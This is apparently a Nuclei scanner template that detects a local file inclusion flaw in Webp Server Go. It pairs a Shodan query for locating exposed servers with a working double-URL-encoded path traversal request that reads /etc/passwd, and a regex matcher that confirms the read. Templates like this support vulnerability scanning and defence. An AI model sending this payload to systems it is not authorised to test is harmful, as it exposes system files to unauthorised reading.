id: webp-server-go-lfi

info:
  name: Webp server go - Local File Inclusion
  author: pikpikcu
  severity: high
  description: Webp server go is vulnerable to local file inclusion.
  reference:
    - https://github.com/webp-sh/webp_server_go/issues/92
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.html:"Webp"
  tags: lfi,webp

http:
  - method: GET
    path:
      - "{{BaseURL}}/%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0"

      - type: status
        status:
          - 200
# digest: 4b0a004830460221009a71552287112f0af59f59293b4e1091509752f6a68b8cf2b1d31d8f565c8a2d022100c8c3de90f9df993e790571de1c414063be7fb2525a0ecb313f2fd5f7750044c1:922c64590222798bb761d5b6d8e72950